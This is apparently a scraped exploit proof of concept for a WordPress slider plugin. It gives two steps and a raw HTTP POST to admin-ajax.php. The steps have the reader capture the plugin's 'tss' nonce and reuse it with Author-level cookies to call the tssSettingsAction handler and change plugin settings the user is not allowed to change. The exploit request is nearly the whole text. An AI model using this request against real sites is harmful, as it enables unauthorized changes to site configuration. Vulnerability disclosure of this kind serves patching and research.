## https://sploitus.com/exploit?id=WPEX-ID:B63BBFEB-D6F7-4C33-8824-B86D64D3F598
1) Go to a page where one of the sliders is already in use and intercept the nonce `tss`
2) Insert the found nonce and cookies into the request to change the plugin settings
POST /wp-admin/admin-ajax.php HTTP/2
Host: example.com
Cookie: Author+
Content-Length: 144
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
slug=updatedButShouldntBe&tss_nonce=30fd47c1fe&action=tssSettingsAction